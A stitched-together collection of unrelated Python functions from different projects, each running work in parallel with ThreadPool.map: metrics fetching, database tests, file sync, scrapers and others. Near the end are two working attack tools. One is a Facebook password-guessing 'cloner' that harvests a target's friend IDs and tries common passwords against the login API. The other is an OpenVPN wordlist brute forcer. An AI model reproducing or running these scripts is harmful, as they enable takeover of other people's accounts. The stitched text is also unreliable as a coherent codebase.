def _getGraphiteData(self): def getData(metric): url = self._createGraphiteRequest(metric) s_time = time.time() try: res = urllib2.urlopen(url) data = yaml.load(res) except: pass finally: e_time = time.time() - s_time e_time = int(e_time * 1000) print "{time}ms/t{url}".format(time = e_time, url = url) if len(data) and 'datapoints' in data[0]: data = filter(lambda d: d[0] != None, data[0]['datapoints']) if data: len_data = len(data) data = [ v / len_data for v in reduce(lambda x, y: [ x[0] + y[0], x[1] + y[1] ], data) ] metric.update({ 'value': data[0], 'time': data[1] }) pool = Pool(processes=50) pool.map(getData, self.metrics) pool.close() pool.join()
def _test_monitor_tables_locking_errors(self): """Test that intensive read/write operations to the MySQL Monitor tables do not trigger locking errors. This test will be successful if there will be no generated error at the end. """ # Setting these variables will cause the Monitor to connect more # frequently to the backend hosts to check their health, thus increasing # the probability of locking errors to appear. self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_connect_interval'") self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_ping_interval'") self.run_query_proxysql_admin("LOAD MYSQL VARIABLES TO RUNTIME") queries = [] q1 = "select * from monitor.mysql_server_connect_log ORDER BY RANDOM() LIMIT 10" q2 = "select * from monitor.mysql_server_ping_log ORDER BY RANDOM() LIMIT 10" for _ in xrange(10000): queries.append(random.choice([q1, q2])) pool = ThreadPool(processes=5) pool.map(self.run_query_proxysql_admin, queries) # If we reached this point without an error, it means that the test # has passed. self.assertEqual(1, 1)
def day2week(self): stock_codes = self.store.update_stock_codes pool = ThreadPool(10) pool.map(self.store.write_week_his, stock_codes) print ('starting index day2week...') self.store.write_week_his('000001', 'index')
def get_next_n(conn, limit=0): """Gets duplicate ids for n bugs and stores it in PostgreSQL database. Args: conn: Psycopg2 connection to PostgreSQL database. limit (int): Number of bugs to get duplicates for. Returns: None. """ cur = conn.cursor() cur.execute("SET TIME ZONE 'UTC';") query = """ SELECT f.id FROM final f LEFT OUTER JOIN duplicates d ON f.id = d.id WHERE f.resolution_final = 'duplicate' AND d.id IS NULL LIMIT {} """.format(limit) cur_report = conn.cursor() cur_report.execute(query) # use threads to parallelize API requests pool = ThreadPool(10) bugs = cur_report.fetchall() get_bug_desc_conn = partial(get_duplicate_info, conn) pool.map(get_bug_desc_conn, bugs) pool.close() return
def testParallelTableUploadAndDownloadTunnel(self): p = 'ds=test' table, data = self._gen_table(partition=p.split('=', 1)[0], partition_type='string', partition_val=p.split('=', 1)[1]) self.assertTrue(table.exist_partition(p)) records = [table.new_record(values=d) for d in data] n_blocks = 5 blocks = list(range(n_blocks)) n_threads = 2 thread_pool = ThreadPool(n_threads) def gen_block_records(block_id): c = len(data) st = int(c / n_blocks * block_id) if block_id < n_blocks - 1: ed = int(c / n_blocks * (block_id + 1)) else: ed = c return records[st: ed] def write(w): def inner(arg): idx, r = arg w.write(idx, r) return inner with table.open_writer(partition=p, blocks=blocks) as writer: thread_pool.map(write(writer), [(i, gen_block_records(i)) for i in blocks]) for step in range(1, 4): reads = [] expected = [] with table.open_reader(partition=p) as reader: count = reader.count for i in range(n_blocks): start = int(count / n_blocks * i) if i < n_blocks - 1: end = int(count / n_blocks * (i + 1)) else: end = count for record in reader[start:end:step]: reads.append(record) expected.extend(data[start:end:step]) self.assertEqual(len(expected), len(reads)) for val1, val2 in zip(expected, [r.values for r in reads]): for it1, it2 in zip(val1[:-1], val2[:-1]): if isinstance(it1, dict): self.assertEqual(len(it1), len(it2)) self.assertTrue(any(it1[k] == it2[k] for k in it1)) elif isinstance(it1, list): self.assertSequenceEqual(it1, it2) else: self.assertEqual(it1, it2) table.drop()
def main(dir_path, outfile_path, is_journal=True): pn = 20 flst = os.listdir(dir_path) arglst = [] ret = dict() for i in range(pn): beg = int(math.ceil(float(len(flst)) / pn * i)) end = int(math.ceil(float(len(flst)) / pn * (i + 1))) if(id == 0): beg = 0 if(id == pn - 1): end = (len(flst)) arglst.append([dir_path, is_journal, beg, end, i, ret]) pool = ThreadPool(pn) pool.map(job_map, arglst) pool.close() pool.join() print(80 * '=') print('[acmdl]: map finished') print(80 * '=') job_reduce(ret, outfile_path) print(80 * '=') print('[acmdl]: reduce finished') print(80 * '=') return
def collect_logs(self): """Collect all the microservice log files.""" log_dir = os.path.join(self.options.log_dir, 'service_logs') if not os.path.exists(log_dir): os.makedirs(log_dir) def fetch_service_log(service): try: logging.debug('Fetching logs for "%s"...', service) deployer = (self if service in HALYARD_SERVICES else self.__spinnaker_deployer) deployer.do_fetch_service_log_file(service, log_dir) except Exception as ex: message = 'Error fetching log for service "{service}": {ex}'.format( service=service, ex=ex) if ex.message.find('No such file') >= 0: message += '\n Perhaps the service never started.' # dont log since the error was already captured. else: logging.error(message) message += '\n{trace}'.format( trace=traceback.format_exc()) write_data_to_secure_path( message, os.path.join(log_dir, service + '.log')) logging.info('Collecting server log files into "%s"', log_dir) all_services = list(SPINNAKER_SERVICES) all_services.extend(HALYARD_SERVICES) thread_pool = ThreadPool(len(all_services)) thread_pool.map(fetch_service_log, all_services) thread_pool.terminate()
def analyze_commits(project_name, target_repo, existing_target_branches, fork_list): print 'Analyzing commits' pool = ThreadPool(processes=10) existing_target_commits = [] for fork_repo in fork_list: for target_branch in existing_target_branches: print ' Analyzing %s (branch: %s) ' % (fork_repo.full_name, target_branch), fork_repo_commits = fork_repo.get_commits(sha=target_branch) max_commits_to_analyze = 30 analyzed_commits = 0 fork_commits_to_analyze = [] for fork_comm in fork_repo_commits: if analyzed_commits == max_commits_to_analyze: break fork_commits_to_analyze.append(fork_comm) analyzed_commits += 1 partial_c_in_root = functools.partial(commit_is_in_root, existing_target_commits, target_repo, fork_repo) pool.map(partial_c_in_root, fork_commits_to_analyze) print
def svnup(site, commitmessage): svn = Popen(['svn', 'status'], cwd=site['localdir'], stdout=PIPE, stderr=PIPE) files = [] for line in svn.stdout.readlines(): lineprefix = 'A + ' if line.startswith('M') or line.startswith('A'): line = line[len(lineprefix):] line = line.rstrip('\r').rstrip('\n') files.append(line) elif (line.startswith('?') or line.startswith('C') or line.startswith('!')): call(['svn', 'status'], cwd=site['localdir']) exit(1) if len(files): print 'Uploading: ', '\n'.join(files) else: print 'Nothing to Update' call(['svn', 'status'], cwd=site['localdir']) exit(0) stdout, stderr = svn.communicate() if stderr: print stderr exit(1) def upload(filename): remotefilename = path.join(site['remotedir'], filename) remoteaddress = 'ftp://%s%s' % (site['host'], remotefilename) if not path.isdir(filename): print 'Uploading: \n', filename exitcode = call(['curl', '--progress-bar', '-T', filename, '--ftp-create-dirs', '--user', '%s:%s' % (site['username'], site['password']), remoteaddress], cwd = site['localdir']) print '' if exitcode: print 'Error in uploading "%s"' % filename print 'Destenation is "%s"' % remoteaddress exit(1) pool = ThreadPool(settings['concurrentConnections']) pool.map(upload, files) for filename in files: upload(filename) call(['svn', 'commit', '-m', commitmessage], cwd=site['localdir'])
def StartInfrastructure(inf_id, auth): """ Start all virtual machines in an infrastructure previously stopped. Args: - inf_id(str): infrastructure id. - auth(Authentication): parsed authentication tokens. Return(str): error messages; empty string means all was ok. """ InfrastructureManager.logger.info("Starting the infrastructure id: " + str(inf_id)) sel_inf = InfrastructureManager.get_infrastructure(inf_id, auth) exceptions = [] if Config.MAX_SIMULTANEOUS_LAUNCHES > 1: pool = ThreadPool(processes=Config.MAX_SIMULTANEOUS_LAUNCHES) pool.map( lambda vm: InfrastructureManager._start_vm(vm, auth, exceptions), reversed(sel_inf.get_vm_list()) ) else: for vm in sel_inf.get_vm_list(): InfrastructureManager._start_vm(vm, auth, exceptions) if exceptions: msg = "" for e in exceptions: msg += str(e) + "\n" raise Exception("Error starting the infrastructure: %s" % msg) InfrastructureManager.logger.info("Infrastructure successfully restarted") return ""
def monitorthread(self): stock_codes = [] for item in self.conn.mystock.todaydata.find(): stock_codes.append(item['code']) pool = ThreadPool(40) pool.map(self.proxy, stock_codes)
def run_test_case_list( self, test_case_list, max_concurrent, timeout_ok=False, max_retries=0, retry_interval_secs=5, full_trace=False): """Run a list of test cases. Args: test_case_list: [list of OperationContract] Specifies the tests to run. max_concurrent: [int] The number of cases that can be run concurrently. timeout_ok: [bool] If True then individual tests can timeout and still be considered having a successful AgentOperationStatus. max_retries: [int] Number of independent retries permitted on individual operations if the operation status fails. A value of 0 indicates that a test should only be given a single attempt. retry_interval_secs: [int] Time between retries of individual operations. full_trace: [bool] If True then provide detailed execution tracing. """ num_threads = min(max_concurrent, len(test_case_list)) pool = ThreadPool(processes=num_threads) def run_one(test_case): """Helper function to run individual tests.""" self.run_test_case( test_case=test_case, timeout_ok=timeout_ok, max_retries=max_retries, retry_interval_secs=retry_interval_secs, full_trace=full_trace) self.logger.info( 'Running %d tests across %d threads.', len(test_case_list), num_threads) pool.map(run_one, test_case_list) self.logger.info('Finished %d tests.', len(test_case_list))
def copytree_and_gzip(self, source_dir, target_dir): """ Copies the provided source directory to the provided target directory. Gzips JavaScript, CSS and HTML and other files along the way. """ # Figure out what we're building... build_list = [] # Walk through the source directory... for (dirpath, dirnames, filenames) in os.walk(source_dir): for f in filenames: # Figure out what is going where source_path = os.path.join(dirpath, f) rel_path = os.path.relpath(dirpath, source_dir) target_path = os.path.join(target_dir, rel_path, f) # Add it to our list to build build_list.append((source_path, target_path)) logger.debug("Gzipping {} files".format(len(build_list))) # Build em all if not getattr(self, 'pooling', False): [self.copyfile_and_gzip(*u) for u in build_list] else: cpu_count = multiprocessing.cpu_count() logger.debug("Pooling build on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.pooled_copyfile_and_gzip, build_list)
def _load_lyrics(self, songdict): total = [] for songlist in songdict.values(): total += songlist pool = ThreadPool() pool.map(Song.load, total)
def read_results(hosts, failed): cmd = 'tail -1 iperf-server-6001' results = dict() args = [(i, cmd, results, failed) for i in hosts] pool = ThreadPool(len(hosts)) pool.map(thread_run, args) total = 0.0 for i, result in results.iteritems(): r = result.split() try: if r[-1] == 'Gbits/sec': b = float(r[-2]) * 1000 elif r[-1] == 'Mbits/sec': b = float(r[-2]) else: print 'failed on {}: {}'.format(i, result) sys.exit(1) print '{}: {}'.format(i, b) total += b except: print 'failed on {}: {}'.format(i, result) print total/len(hosts)
def test(my_test_cases): try: logfile = edex_tools.find_latest_log() except OSError as e: log.error('Error fetching latest log file - %s', e) return {} total_timeout = 0 count = 0 sc = {} pool = ThreadPool(MAX_THREADS) pool.map(execute_test, my_test_cases) for tc in my_test_cases: total_timeout += tc.timeout count += tc.count # wait for all ingestion to complete if not edex_tools.watch_log_for('EDEX - Ingest complete for file', logfile=logfile, expected_count=count, timeout=total_timeout): log.error('Timed out waiting for ingest complete message') log.info('All files ingested, testing results') for tc in pool.map(evaluate_test_case, test_cases): sc.update(tc) return sc
def main(): pool = ThreadPool(10) base_url = 'https://www.google.com/?gws_rd=ssl#q=' urls = [base_url+str(i) for i in xrange(1000)] pool.map(google_search, urls) pool.close() pool.join()
def download_dumps(dump_links, config): """ Given a list of direct links to character dumps, this will grab each dump and save it to disk in DUMPDIR as <some random guid>.dmp. """ destination_dir = config.dumpdir def write_dump(dump): filename = str(uuid.uuid4()) + "." + DUMP_EXT f = open(os.path.join(destination_dir, filename), "w") f.write(dump) f.close() def download_dump(dump_link): dump_page = requests.get(dump_link).text soup = BeautifulSoup(dump_page) dump = soup.find("pre").text write_dump(dump) print "Dumping {0} files to {1} using {2} threads.".format( len(dump_links), destination_dir, config.concurrency ) if config.concurrency > 1: from multiprocessing.pool import ThreadPool pool = ThreadPool(processes=config.concurrency) pool.map(download_dump, dump_links) else: map(download_dump, dump_links)
def main(ranking_type=1): baseurl = "http://video.fc2.com/a/list.php?m=cont&page={}" + "&type={}".format(ranking_type) if os.path.exists(DOWNLOADED_FILE): with open(DOWNLOADED_FILE, "r") as f: downloaded = f.read().split('\n') else: downloaded = [] r = urlopen(baseurl.format(1), timeout=10) soup = BeautifulSoup(r.read(), "lxml") links = soup.findAll("a") targets = set() regex = re.compile(r"(?:/a)?/content/(\w+)/?$") for link in links: url = link.get("href").split("&")[0] match = regex.search(url) if match is None: continue target = match.group(1) if target in downloaded: continue targets.add(target) # print(targets) pool = ThreadPool() # mp.Pool() pool.map(download_fc2, targets) print('finished')
def cleanup(self, odps): cleaned = [] def cleaner_thread(obj): try: obj.drop(odps) cleaned.append(obj) except: pass pool = ThreadPool(CLEANER_THREADS) if self._container: pool.map(cleaner_thread, self._container) pool.close() pool.join() for obj in cleaned: if obj in self._container: self._container.remove(obj) if not self._container: try: os.unlink(self._file_name) except OSError: pass else: self.dump()
def check_load_on_hosts(psinet, hosts): loads = {} pool = ThreadPool(25) global g_psinet g_psinet = psinet log_diagnostics('Checking Hosts...') results = pool.map(check_load_on_host, hosts) log_diagnostics('...done checking hosts') # retry failed hosts failed_hosts = [psinet._PsiphonNetwork__hosts[result[0]] for result in results if result[1] == -1 or result[5]] if len(failed_hosts): log_diagnostics('Retrying failed hosts') new_results = pool.map(check_load_on_host, failed_hosts) for result in results + new_results: loads[result[0]] = result[1:] cur_users = sum([load[0] for load in loads.itervalues() if load[0] > 0]) unreachable_hosts = len([load for load in loads.itervalues() if load[0] == -1]) loads = sorted(loads.iteritems(), key=operator.itemgetter(1), reverse=True) unreachable = [load for load in loads if load[1][0] == -1] process_alerts = [load for load in loads if load[1][4]] high_load = [load for load in loads if float(load[1][1]) >= 100.0] low_memory = [load for load in loads if float(load[1][2]) < 20.0 or float(load[1][3]) < 20.0] for load in low_memory + high_load + process_alerts + unreachable: loads.insert(0, loads.pop(loads.index(load))) pprint.pprint(loads) return cur_users, len(loads), unreachable_hosts, loads
def main(): print 'arguments were', sys.argv if len(sys.argv) == 2: if sys.argv[1] == 'init': init() print 'initialized' return sys.exit(0) if sys.argv[1] == 'reset': import os os.unlink('items.db') init() return sys.exit(0) if sys.argv[1] == 'dump': dumpDb() if sys.argv[1] == 'items': showItems() if sys.argv[1] == 'kill': subprocess.Popen("""kill `ps auxx |grep warc-inject|awk -e '{print $2}'`""", shell=True,stdout=subprocess.PIPE).communicate()[0] else: #getPage(3) from multiprocessing.pool import ThreadPool pool = ThreadPool(processes=150) pool.map(getPage, xrange(1,1300))
def master(): # 1. Check args if len(sys.argv) < 2: print_usage() return -1 # 2. Parse property file if not os.path.exists(sys.argv[1]): print("Provided Properties file does not exist:" + str(sys.arv[1])) return -2 current_properties = parse_properties_file(sys.argv[1]) main_log = DDLogger("Main_Class", target_log_file=os.path.join(current_properties[property_parser.WORK_DIR_PROPERTY_NAME], "main_log.log"), exit_on_failure=True) main_log.log_info("Got all properties.") # 3. Get various test profiles. all_test_profiles = get_all_profiles(current_properties, main_log) main_log.log_info("Got " + str(len(all_test_profiles)) + " To Execute.") # 4. Execute each test profile. no_of_available_devices = get_available_devices() if no_of_available_devices <= 0: main_log.log_info("No Devices available to test.") return -3 main_log.log_info("Identified " + str(no_of_available_devices) + " available devices.") all_test_profiles = map(lambda x: (x, main_log), all_test_profiles) main_log.log_info("Running all test profiles.") # As number of test profile to run simultaneously depend on number of devices. # create thread pool with number of threads equal to number of devices. curr_pool = ThreadPool(processes=no_of_available_devices) curr_pool.map(run_test_profile, all_test_profiles) main_log.log_info("Scheduled all test profiles.") main_log.log_info("All Test Profiles Completed Execution.")
def _fetch_all_packages(): proxy = xmlrpclib.ServerProxy(options.url) results = proxy.search({'keywords': BASE_KEYWORD}) last_update_pool = ThreadPool(processes=10) if results: last_update_pool.map(_fetch_last_update, results)
def test_multiple_concurrent_request_on_same_client(self): import time from multiprocessing.pool import ThreadPool send_msg = u'test เธเธเธณเธตเธเธเธณเธตเธเธเธณเธตเธเธเธณเธต' server_start = Event() def on_message(msg): self.assertEqual(msg, send_msg) def server(): PostofficeServer(ip='0.0.0.0', port=4000, on_message=on_message, after_start_cb=lambda: server_start.set()) from multiprocessing import Process p = Process(target=server) try: p.start() server_start.wait() c = PostofficeClient(ip='localhost', port=4000) def client(ith): c.send(send_msg) pool = ThreadPool(100) pool.map(client, [i for i in range(1000)]) p.terminate() p.join() except Exception as e: # gracefully stop p.terminate() p.join() raise
def dowload_person(person_url): print 'start to downlaod person %s\n'%(person_url) person_pic_url = get_person_pic_url_Set(person_url) pool = ThreadPool(8) pool.map(download_pic,person_pic_url) pool.close() pool.join()
def sync_with_s3(self): """ Walk through our self.local_files list, and match them with the list of keys in the S3 bucket. """ # Create a list to put all the files we're going to update self.update_list = [] # Figure out which files need to be updated and upload all these files logger.debug("Comparing {} local files with {} bucket files".format( len(self.local_file_list), len(self.s3_obj_dict.keys()) )) if self.no_pooling: [self.compare_local_file(f) for f in self.local_file_list] else: cpu_count = multiprocessing.cpu_count() logger.debug("Pooling local file comparison on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.compare_local_file, self.local_file_list) logger.debug("Uploading {} new or updated files to bucket".format(len(self.update_list))) if self.no_pooling: [self.upload_to_s3(*u) for u in self.update_list] else: logger.debug("Pooling s3 uploads on {} CPUs".format(cpu_count)) pool = ThreadPool(processes=cpu_count) pool.map(self.pooled_upload_to_s3, self.update_list)
def main(): ''' Handles user input, wikipedia link generation, and instantiation and runtime of threads. ''' # Note that no validation is done at any level of the user input. w = input("Enter width of the canvas (i.e. 512) : ") h = input("Enter height of the canvas (i.e. 512) : ") num_threads = input("Enter number of threads (i.e. 16) : ") title = raw_input("Enter title of wikipedia page (i.e New York) : ") destination = raw_input("Enter name of destination file (i.e. masterpiece.png) : ") # Get the wikipedia page for the current title and limit the images if specified. page = wikipedia.page(title) image_urls = page.images # Initialize the starting image and lock array. base = Image.new('RGB', (w, h), 'white') locks = [[threading.Lock() for x in range(h)] for y in range(w)] # Create a thread pool with the given number of threads and map the paint() function # across the pool. pool = ThreadPool(num_threads) pool.map(paint, gen(base, locks, image_urls, w, h)) # Finally, save the image under the specified name. base.save(destination)
def run_trials(): numTrials = 3000 gens = 1000 from multiprocessing.pool import ThreadPool as Pool pool = Pool(50) jids = pool.map(f,[gens]*numTrials) print "Done spawning trials. Retrieving results..." results = pool.map(cloud_result, jids) firstLocusFreqsHists = zeros((numTrials,gens+1), dtype='float') lastLocusFreqsHists = zeros((numTrials,gens+1), dtype='float') print "Done retrieving results. Press Enter to serialize..." raw_input() for i, result in enumerate(results): firstLocusFreqsHists[i, :], lastLocusFreqsHists[i, :] = result with closing(FileStorage("soda_results.durus")) as durus: conn = Connection(durus) conn.get_root()[str(int(floor(time.time())))] = (firstLocusFreqsHists, lastLocusFreqsHists) conn.commit() pool.close() pool.join()
def main(): # Run the Tales pool = ThreadPool(processes=int(tcfg['Workers'].get('pool_size', 10))) pool = ThreadPool() pool.map(worker, tales) pool.close() pool.join()
def pilih_crack(): peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_crack() elif peak =="1": os.system('clear') print logo jjt = raw_input("\033[1;92mEnter ID : \033[1;92m") print "โบโธโนโบโธโนโบโธโนโบโบโธโนโบโธโนโบโธโนโบโธโนโโโ โโโ โโโ โธโนโโโ โโโ โโโ " try: m = requests.get("https://graph.facebook.com/"+jjt+"?access_token="+toket) td = json.loads(m.text) print"\033[1;94mName\033[1;94m:\033[1;94m "+td["name"] except KeyError: print"\x1b[1;91mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") crack() print"\033[1;97mGetting IDs\033[1;97m..." n = requests.get("https://graph.facebook.com/"+jjt+"/friends?access_token="+toket) d = json.loads(n.text) for c in d['data']: id.append(c['id']) elif peak =="0": men() else: print "\x1b[1;91mxallata" pilih_crack() print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m"+str(len(id)) jalan('\033[1;97mPlease Wait\033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;94mCloning\033[1;94m"+o),;sys.stdout.flush();time.sleep(1) print "\033[1;96m Bo Wastany Clonaka CTRL BKA LAGALL Z') print "\033[1;91m-------------------------------------------------------------------" jalan(' \033[1;95m ') jalan(' \033[1;95m Hackaka Dast Pe Akat โ ') print "\033[1;91m----------------------------------------" def main(arg): global cekpoint,oks user = arg try: os.mkdir('cookie') except OSError: pass #Dev:qaiser try: k = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) y = json.loads(k.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'professor' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = y['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = y['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass4 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = y['first_name'] + '12' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = y['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: pass7 = 'Pakistan1' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") s = json.load(data) if 'access_token' in s: print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in s["error_msg"]: print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7 cek = open("out/checkpoint.txt", "k") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "โคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโคโค" print " Written By Qaiser" #Dev:TheProfessor print '\033[1;94mProcess Has Been Completed \033[1;94m....' print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....' print"\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m"+str(len(oks))+"\033[1;96m/\033[1;96m"+str(len(cekpoint)) print """ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ \033[1;92m ERROR ID AFTER 2 WEEKS (14DAYS) """ raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]") crack()
class OpenVpnBruter(object): def __init__(self): self.parse_options() self.build_list() self._MT_Process() self.cmd_arr self.pass_arr def parse_options(self): parser = argparse.ArgumentParser( description="Openvpn Brute forcer built for pentestit lab v11") parser.add_argument('--host', type=str, required=True) parser.add_argument('--config', type=str, required=True) parser.add_argument('--user', type=str, required=True) parser.add_argument('--passlist', type=str, required=True) self.args = parser.parse_args() def _clean_up(self): shutil.rmtree(TEMP_DIR_PATH) # not a good solution here but one that works # due to thread pool defunct objects holding a process # and preventing the app closing out using exit(0) os.system('kill %d' % os.getpid()) def build_list(self): if not os.path.exists(TEMP_DIR_PATH): os.makedirs(TEMP_DIR_PATH) self.cmd_arr = [] self.pass_arr = [] with open(self.args.passlist) as plist: for password in plist: try: password = password.strip() tf = tempfile.NamedTemporaryFile(dir=TEMP_DIR_PATH, delete=False) tf.write('{0}\n{1}\n'.format(self.args.user, password)) tf.flush() tf.close() self.cmd_arr.append( "/usr/sbin/openvpn --remote {0} --config {1} --auth-user-pass {2}" .format(self.args.host, self.args.config, tf.name)) self.pass_arr.append(password) except: raise def _start_brute(self, cmd): process = subprocess.Popen(shlex.split(cmd), shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE) for outline in iter(process.stdout.readline, ''): if "Initialization Sequence Completed" in outline: pass_index = self.cmd_arr.index(cmd) password = self.pass_arr[pass_index] print(bcolours.BOLD + bcolours.GREEN + "[+] SUCCESS!" + bcolours.ENDC + bcolours.ENDC + " command = " + bcolours.HEADER + "%s" % (cmd) + bcolours.ENDC) print(bcolours.BOLD + "[+] Password:"******" %s" % (password) + bcolours.ENDC + bcolours.ENDC) print(bcolours.BOLD + "[+] VPN Process stopped and temp files removed" + bcolours.ENDC) self.pool.terminate() process.terminate() self._clean_up() def _MT_Process(self): self.pool = ThreadPool(processes=TOTAL_PROCESSES) self.pool.map(self._start_brute, self.cmd_arr) self.pool.close() self.pool.join() def main(self): self.build_list() self._MT_Process() print(bcolours.BOLD + bcolours.RED + "[-] FAILED TO FIND OPENVPN PASSWORD :-( " + bcolours.ENDC + bcolours.ENDC) self._clean_up()
